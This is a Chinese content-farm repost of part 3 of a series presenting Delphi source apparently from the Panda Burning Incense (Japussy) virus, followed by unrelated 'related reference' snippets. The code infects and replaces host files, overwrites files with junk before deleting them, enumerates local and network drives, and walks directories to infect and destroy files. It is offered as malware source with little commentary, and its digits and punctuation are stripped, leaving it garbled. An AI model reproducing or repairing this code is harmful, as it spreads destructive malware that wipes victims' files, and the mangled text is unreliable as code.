知识大全 从“熊猫烧香”中学程序[3]

Posted 文件

篇首语:非淡泊无以明志,非宁静无以致远。本文由小常识网(cha138.com)小编为大家整理,主要介绍了知识大全 从“熊猫烧香”中学程序[3]相关的知识,希望对你有一定的参考价值。

     CopyStream(SrcStream DstStream HeaderSize SrcStream Size);          //写入已感染的标记          DstStream Seek( );          iID := $ ;          DstStream Write(iID );        finally          HdrStream Free;        end;      finally        SrcStream Free;        IcoStream Free;        DstStream SaveToFile(FileName); //替换宿主文件        DstStream Free;      end;    except;    end;  end;

   将目标文件写入垃圾码后删除   procedure SmashFile(FileName: string);  var    FileHandle: Integer;    i Size Mass Max Len: Integer;  begin    try      SetFileAttributes(PChar(FileName) ); //去掉只读属性      FileHandle := FileOpen(FileName fmOpenWrite); //打开文件      try        Size := GetFileSize(FileHandle nil); //文件大小        i := ;        Randomize;        Max := Random( ); //写入垃圾码的随机次数        if Max < then          Max := ;        Mass := Size div Max; //每个间隔块的大小        Len := Length(Catchword);        while i < Max do        begin          FileSeek(FileHandle i * Mass ); //定位          //写入垃圾码 将文件彻底破坏掉          FileWrite(FileHandle Catchword Len);          Inc(i);        end;      finally       FileClose(FileHandle); //关闭文件      end;      DeleteFile(PChar(FileName)); //删除之    except    end;  end;   获得可写的驱动器列表   function GetDrives: string;  var    DiskType: Word;    D: Char;    Str: string;    i: Integer;  begin    for i := to do //遍历 个字母    begin      D := Chr(i + );      Str := D + : ;      DiskType := GetDriveType(PChar(Str));      //得到本地磁盘和网络盘      if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then        Result := Result + D;    end;  end;   遍历目录 感染和摧毁文件   procedure LoopFiles(Path Mask: string);  var    i Count: Integer;    Fn Ext: string;    SubDir: TStrings;    SearchRec: TSearchRec;    Msg: TMsg;    function IsValidDir(SearchRec: TSearchRec): Integer;    begin      if (SearchRec Attr <> ) and  (SearchRec Name <> ) and        (SearchRec Name <> ) then        Result := //不是目录      else if (SearchRec Attr = ) and  (SearchRec Name <> ) and        (SearchRec Name <> ) then          Result := //不是根目录      else Result := ; //是根目录

cha138/Article/program/Delphi/201311/8475

相关参考

知识大全 从“熊猫烧香”中学程序[5]

    procedureInfectFiles;  var   DriverList:string;   iLen:Integer;  b

知识大全 从“熊猫烧香”中学程序[4]

    end;  begin   if(FindFirst(Path+MaskfaAnyFileSearchRec)=)then   be

知识大全 从“熊猫烧香”中学程序[1]

  本文来自互联网仅供学习和研究使用后果自行负责造成的任何损失与本站无关特此声明  programJapussy;  uses   WindowsSysUtilsClassesGraphic

知识大全 Delphi版模仿熊猫烧香病毒核心源码

Delphi版模仿熊猫烧香病毒核心源码  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!WordWRA

知识大全 怎样才能使高中生从游戏中学会学习

怎样才能使高中生从游戏中学会学习首先还是要有正确的引导。。。明确你玩游戏的目的是什么找到你玩游戏的目的你自然可以规划你的时间找到学习和游戏的平衡高中生的话在游戏中可以多结交一些年龄比较大的玩家他们会分

知识大全 从广州人和出口坐哪路公交车到花都青布中学

从广州人和出口坐哪路公交车到花都青布中学公交线路:715路,全程约7.7公里1、从人和出口(广州机场...步行约1.0公里,到达凤和庄站2、乘坐715路,经过6站,到达清布中学站(也可乘坐701路、花

恩格斯说“伟大的阶级,正如伟大的民族一样,无论从哪方面学习都不如从__中学习来得快。”

恩格斯说“伟大的阶级,正如伟大的民族一样,无论从哪方面学习都不如从_____中学习来得快。”A、自己所犯错误B、自己所取得的成绩C、自己所犯错误的后果D、自己所取得成绩的后果答案:C解析:恩格斯在《英

知识大全 从Reifer的“敏捷方法定量分析”研究中学到的十个知识点

从Reifer的“敏捷方法定量分析”研究中学到的十个知识点  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一

知识大全 请问从入党积极分子到预备党员要经过哪些程序

请问从入党积极分子到预备党员要经过哪些程序入党程序:1、要求入党的人,必须自愿向党组织提出书面申请;2、党组织确定入党积极分子,入党积极分子要填写《中国共产党入党积极分子考察表》;3、党组织对入党积极

某中学历史探究课上,学生从“穿衣”的角度表达了他们对诸子百家思想的理解。甲生说:穿衣服应合乎大自然四季的变化来穿衣,天气

某中学历史探究课上,学生从“穿衣”的角度表达了他们对诸子百家思想的理解。甲生说:穿衣服应合乎大自然四季的变化来穿衣,天气冷多穿一点,天气热少穿一点;乙生说:穿衣服要看你的身份地位,什么身份、何种地位,